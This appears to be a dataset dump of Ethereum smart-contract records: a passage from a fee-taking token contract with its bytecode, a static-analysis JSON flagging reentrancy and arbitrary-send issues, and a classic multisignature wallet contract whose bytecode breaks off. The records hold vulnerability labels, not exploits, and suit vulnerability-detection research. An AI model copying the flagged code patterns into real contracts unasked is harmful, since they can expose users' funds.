require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461064c578063e0f9f6a014610692578063ea1644d5146106b2578063f2fde38b146106d2578063fe72c3c1146106f257600080fd5b806395d89b411461059b5780639ec350ed146105cc5780639f131571146105ec578063a9059cbb1461060c578063c55284901461062c57600080fd5b80637c519ffb116100f25780637c519ffb1461051c5780637d1db4a514610531578063881dce60146105475780638da5cb5b146105675780638f9a55c01461058557600080fd5b806370a08231146104b1578063715018a6146104d157806374010ece146104e6578063790ca4131461050657600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c9146104265780635d098b38146104465780636b9cf534146104665780636d8aa8f81461047c5780636fc3eaec1461049c57600080fd5b8063313ce567146103aa57806333251a0b146103c657806338eea22d146103e657806349bd5a5e1461040657600080fd5b806318160ddd116101ed57806318160ddd1461031657806323b872dd1461033c57806327c8f8351461035c57806328bb665a146103725780632fd689e31461039457600080fd5b806306fdde031461022a578063095ea7b3146102755780630f3a325f146102a55780631694505e146102de57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152601081526f105b98da595b9d08125b9cdd1a5b98dd60821b60208201525b60405161026c919061202a565b60405180910390f35b34801561028157600080fd5b50610295610290366004611ed5565b610708565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c0366004611e21565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561032257600080fd5b50683635c9adc5dea000005b60405190815260200161026c565b34801561034857600080fd5b50610295610357366004611e94565b61071f565b34801561036857600080fd5b506102fe61dead81565b34801561037e57600080fd5b5061039261038d366004611f01565b610788565b005b3480156103a057600080fd5b5061032e601d5481565b3480156103b657600080fd5b506040516009815260200161026c565b3480156103d257600080fd5b506103926103e1366004611e21565b610827565b3480156103f257600080fd5b50610392610401366004612008565b610896565b34801561041257600080fd5b50601a546102fe906001600160a01b031681565b34801561043257600080fd5b50610392610441366004611fef565b6108e7565b34801561045257600080fd5b50610392610461366004611e21565b610924565b34801561047257600080fd5b5061032e601e5481565b34801561048857600080fd5b50610392610497366004611fcd565b61097e565b3480156104a857600080fd5b506103926109c6565b3480156104bd57600080fd5b5061032e6104cc366004611e21565b6109f0565b3480156104dd57600080fd5b50610392610a12565b3480156104f257600080fd5b50610392610501366004611fef565b610a86565b34801561051257600080fd5b5061032e600a5481565b34801561052857600080fd5b50610392610b2a565b34801561053d57600080fd5b5061032e601b5481565b34801561055357600080fd5b50610392610562366004611fef565b610b84565b34801561057357600080fd5b506000546001600160a01b03166102fe565b34801561059157600080fd5b5061032e601c5481565b3480156105a757600080fd5b50604080518082019091526008815267125394d5125390d560c21b602082015261025f565b3480156105d857600080fd5b506103926105e7366004612008565b610c00565b3480156105f857600080fd5b50610392610607366004611fcd565b610c51565b34801561061857600080fd5b50610295610627366004611ed5565b610c99565b34801561063857600080fd5b50610392610647366004612008565b610ca6565b34801561065857600080fd5b5061032e610667366004611e5b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069e57600080fd5b506103926106ad366004611fef565b610cf7565b3480156106be57600080fd5b506103926106cd366004611fef565b610d41565b3480156106de57600080fd5b506103926106ed366004611e21565b610d7f565b3480156106fe57600080fd5b5061032e60185481565b6000610715338484610e69565b5060015b92915050565b600061072c848484610f8d565b61077e84336107798560405180606001604052806028815260200161222f602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906116b4565b610e69565b5060019392505050565b6000546001600160a01b031633146107bb5760405162461bcd60e51b81526004016107b29061207f565b60405180910390fd5b60005b8151811015610823576001600960008484815181106107df576107df6121ed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061081b816121bc565b9150506107be565b5050565b6000546001600160a01b031633146108515760405162461bcd60e51b81526004016107b29061207f565b6001600160a01b03811660009081526009602052604090205460ff1615610893576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016107b29061207f565b60018211156108ce57600080fd5b60018111156108dc57600080fd5b600d91909155600f55565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016107b29061207f565b600181111561091f57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461094457600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016107b29061207f565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109e657600080fd5b47610893816116ee565b6001600160a01b03811660009081526002602052604081205461071990611728565b6000546001600160a01b03163314610a3c5760405162461bcd60e51b81526004016107b29061207f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ab05760405162461bcd60e51b81526004016107b29061207f565b674563918244f40000811015610b255760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107b2565b601b55565b6000546001600160a01b03163314610b545760405162461bcd60e51b81526004016107b29061207f565b601a54600160a01b900460ff1615610b6b57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610ba457600080fd5b610bad306109f0565b8111158015610bbc5750600081115b610bf75760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107b2565b610893816117ac565b6000546001600160a01b03163314610c2a5760405162461bcd60e51b81526004016107b29061207f565b6001821115610c3857600080fd5b6013811115610c4657600080fd5b600b91909155600c55565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b81526004016107b29061207f565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610715338484610f8d565b6000546001600160a01b03163314610cd05760405162461bcd60e51b81526004016107b29061207f565b600d821115610cde57600080fd5b600d811115610cec57600080fd5b600e91909155601055565b6000546001600160a01b03163314610d215760405162461bcd60e51b81526004016107b29061207f565b6004811115610d2f57600080fd5b610d3b81610e10612186565b60185550565b6000546001600160a01b03163314610d6b5760405162461bcd60e51b81526004016107b29061207f565b601c54811015610d7a57600080fd5b601c55565b6000546001600160a01b03163314610da95760405162461bcd60e51b81526004016107b29061207f565b6001600160a01b038116610e0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ecb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b2565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b2565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b2565b600081116110b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b2565b6001600160a01b03821660009081526009602052604090205460ff16156110ee5760405162461bcd60e51b81526004016107b2906120b4565b6001600160a01b03831660009081526009602052604090205460ff16156111275760405162461bcd60e51b81526004016107b2906120b4565b3360009081526009602052604090205460ff16156111575760405162461bcd60e51b81526004016107b2906120b4565b6000546001600160a01b0384811691161480159061118357506000546001600160a01b03838116911614155b156114fc57601a54600160a01b900460ff166111e15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107b2565b601a546001600160a01b03838116911614801561120c57506019546001600160a01b03848116911614155b156112be576001600160a01b038216301480159061123357506001600160a01b0383163014155b801561124d57506017546001600160a01b03838116911614155b801561126757506017546001600160a01b03848116911614155b156112be57601b548111156112be5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107b2565b601a546001600160a01b038381169116148015906112ea57506017546001600160a01b03838116911614155b80156112ff57506001600160a01b0382163014155b801561131657506001600160a01b03821661dead14155b156113f657601c5481611328846109f0565b611332919061214c565b1061138b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107b2565b601a54600160b81b900460ff16156113f657600a546113ac906104b061214c565b42116113f657601e548111156113f65760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107b2565b6000611401306109f0565b601d5490915081118080156114205750601a54600160a81b900460ff16155b801561143a5750601a546001600160a01b03868116911614155b801561144f5750601a54600160b01b900460ff165b801561147457506001600160a01b03851660009081526006602052604090205460ff16155b801561149957506001600160a01b03841660009081526006602052604090205460ff16155b156114f957601354600090156114d4576114c960646114c36013548661193590919063ffffffff16565b906119b4565b90506114d4816119f6565b6114e66114e182856121a5565b6117ac565b4780156114f6576114f6476116ee565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061153e57506001600160a01b03831660009081526006602052604090205460ff165b806115705750601a546001600160a01b038581169116148015906115705750601a546001600160a01b03848116911614155b1561157d575060006116a2565b601a546001600160a01b0385811691161480156115a857506019546001600160a01b03848116911614155b15611603576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611603576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561162e57506019546001600160a01b03858116911614155b156116a2576001600160a01b0384166000908152600460205260409020541580159061167f57506018546001600160a01b038516600090815260046020526040902054429161167c9161214c565b10155b1561169557600b54601155600c546012556116a2565b600f546011556010546012555b6116ae84848484611a03565b50505050565b600081848411156116d85760405162461bcd60e51b81526004016107b2919061202a565b5060006116e584866121a5565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610823573d6000803e3d6000fd5b600060075482111561178f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b2565b6000611799611a37565b90506117a583826119b4565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117f4576117f46121ed565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561184857600080fd5b505afa15801561185c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118809190611e3e565b81600181518110611893576118936121ed565b6001600160a01b0392831660209182029290920101526019546118b99130911684610e69565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906118f29085906000908690309042906004016120db565b600060405180830381600087803b15801561190c57600080fd5b505af1158015611920573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b60008261194457506000610719565b60006119508385612186565b90508261195d8583612164565b146117a55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107b2565b60006117a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a5a565b6108933061dead83610f8d565b80611a1057611a10611a88565b611a1b848484611acd565b806116ae576116ae601454601155601554601255601654601355565b6000806000611a44611bc4565b9092509050611a5382826119b4565b9250505090565b60008183611a7b5760405162461bcd60e51b81526004016107b2919061202a565b5060006116e58486612164565b601154158015611a985750601254155b8015611aa45750601354155b15611aab57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611adf87611c06565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b119087611c63565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b409086611ca5565b6001600160a01b038916600090815260026020526040902055611b6281611d04565b611b6c8483611d4e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611bb191815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611be082826119b4565b821015611bfd57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611c238a601154601254611d72565b9250925092506000611c33611a37565b90506000806000611c468e878787611dc1565b919e509c509a509598509396509194505050505091939550919395565b60006117a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116b4565b600080611cb2838561214c565b9050838110156117a55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107b2565b6000611d0e611a37565b90506000611d1c8383611935565b30600090815260026020526040902054909150611d399082611ca5565b30600090815260026020526040902055505050565b600754611d5b9083611c63565b600755600854611d6b9082611ca5565b6008555050565b6000808080611d8660646114c38989611935565b90506000611d9960646114c38a89611935565b90506000611db182611dab8b86611c63565b90611c63565b9992985090965090945050505050565b6000808080611dd08886611935565b90506000611dde8887611935565b90506000611dec8888611935565b90506000611dfe82611dab8686611c63565b939b939a50919850919650505050505050565b8035611e1c81612219565b919050565b600060208284031215611e3357600080fd5b81356117a581612219565b600060208284031215611e5057600080fd5b81516117a581612219565b60008060408385031215611e6e57600080fd5b8235611e7981612219565b91506020830135611e8981612219565b809150509250929050565b600080600060608486031215611ea957600080fd5b8335611eb481612219565b92506020840135611ec481612219565b929592945050506040919091013590565b60008060408385031215611ee857600080fd5b8235611ef381612219565b946020939093013593505050565b60006020808385031215611f1457600080fd5b823567ffffffffffffffff80821115611f2c57600080fd5b818501915085601f830112611f4057600080fd5b813581811115611f5257611f52612203565b8060051b604051601f19603f83011681018181108582111715611f7757611f77612203565b604052828152858101935084860182860187018a1015611f9657600080fd5b600095505b83861015611fc057611fac81611e11565b855260019590950194938601938601611f9b565b5098975050505050505050565b600060208284031215611fdf57600080fd5b813580151581146117a557600080fd5b60006020828403121561200157600080fd5b5035919050565b6000806040838503121561201b57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156120575785810183015185820160400152820161203b565b81811115612069576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561212b5784516001600160a01b031683529383019391830191600101612106565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561215f5761215f6121d7565b500190565b60008261218157634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121a0576121a06121d7565b500290565b6000828210156121b7576121b76121d7565b500390565b60006000198214156121d0576121d06121d7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bcdd0aeb272d08e9cc43021871c654a33e39de9022ef157db559a90b69f7db9864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,463 |
0x6067f3fe6e565f515c2c43b84582e1acc618c521
|
pragma solidity ^0.4.13;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="e7949382818689c9808288958082a7848889948289949e94c9898293">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cac565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ccc565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfb565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8f565b005b341561036957600080fd5b61037f6004808035906020019091905050610f8b565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611073565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611142565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e161119e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611233565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f26004808035906020019091905050611394565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115c5565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115cb565b005b34156106a157600080fd5b6106b76004808035906020019091905050611680565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061185d565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b61076561187d565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e611882565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611888565b005b341561080757600080fd5b61081d6004808035906020019091905050611ba4565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611eb2565b506003805490506004541115610ab757610ab66003805490506115cb565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610bf457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160f